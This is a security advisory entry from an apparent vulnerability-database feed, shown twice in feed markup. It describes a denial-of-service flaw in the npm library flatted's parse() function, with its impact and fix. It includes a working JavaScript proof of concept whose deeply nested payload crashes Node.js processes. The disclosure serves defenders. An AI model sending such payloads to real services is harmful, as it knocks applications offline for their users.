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      <title>GHSA-25h7-pfq9-p65f — flatted vulnerable to unbounded recursion DoS in parse() revive phase</title>
      <link>https://db.gcve.eu/vuln/ghsa-25h7-pfq9-p65f</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: flatted&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;flatted&amp;#39;s `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.&lt;/p&gt;
&lt;p&gt;## Impact&lt;/p&gt;
&lt;p&gt;Denial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request.&lt;/p&gt;
&lt;p&gt;flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;```javascript
const flatted = require(&amp;#39;flatted&amp;#39;);&lt;/p&gt;
&lt;p&gt;// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = &amp;#39;{&amp;#34;a&amp;#34;:&amp;#34;1&amp;#34;}&amp;#39;;
for (let i = 1; i &amp;lt;= depth; i++) {
  arr[i] = `{&amp;#34;a&amp;#34;:&amp;#34;${i + 1}&amp;#34;}`;
}
arr[depth] = &amp;#39;{&amp;#34;a&amp;#34;:&amp;#34;leaf&amp;#34;}&amp;#39;;&lt;/p&gt;
&lt;p&gt;const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded
```&lt;/p&gt;
&lt;p&gt;## Fix&lt;/p&gt;
&lt;p&gt;The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop.&lt;/p&gt;
&lt;p&gt;## Affected Versions&lt;/p&gt;
&lt;p&gt;All versions prior to the PR #88 fix.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: flatted&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;flatted&amp;#39;s `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.&lt;/p&gt;
&lt;p&gt;## Impact&lt;/p&gt;
&lt;p&gt;Denial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request.&lt;/p&gt;
&lt;p&gt;flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;```javascript
const flatted = require(&amp;#39;flatted&amp;#39;);&lt;/p&gt;
&lt;p&gt;// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = &amp;#39;{&amp;#34;a&amp;#34;:&amp;#34;1&amp;#34;}&amp;#39;;
for (let i = 1; i &amp;lt;= depth; i++) {
  arr[i] = `{&amp;#34;a&amp;#34;:&amp;#34;${i + 1}&amp;#34;}`;
}
arr[depth] = &amp;#39;{&amp;#34;a&amp;#34;:&amp;#34;leaf&amp;#34;}&amp;#39;;&lt;/p&gt;
&lt;p&gt;const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded
```&lt;/p&gt;
&lt;p&gt;## Fix&lt;/p&gt;
&lt;p&gt;The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop.&lt;/p&gt;
&lt;p&gt;## Affected Versions&lt;/p&gt;
&lt;p&gt;All versions prior to the PR #88 fix.&lt;/p&gt;</content:encoded>
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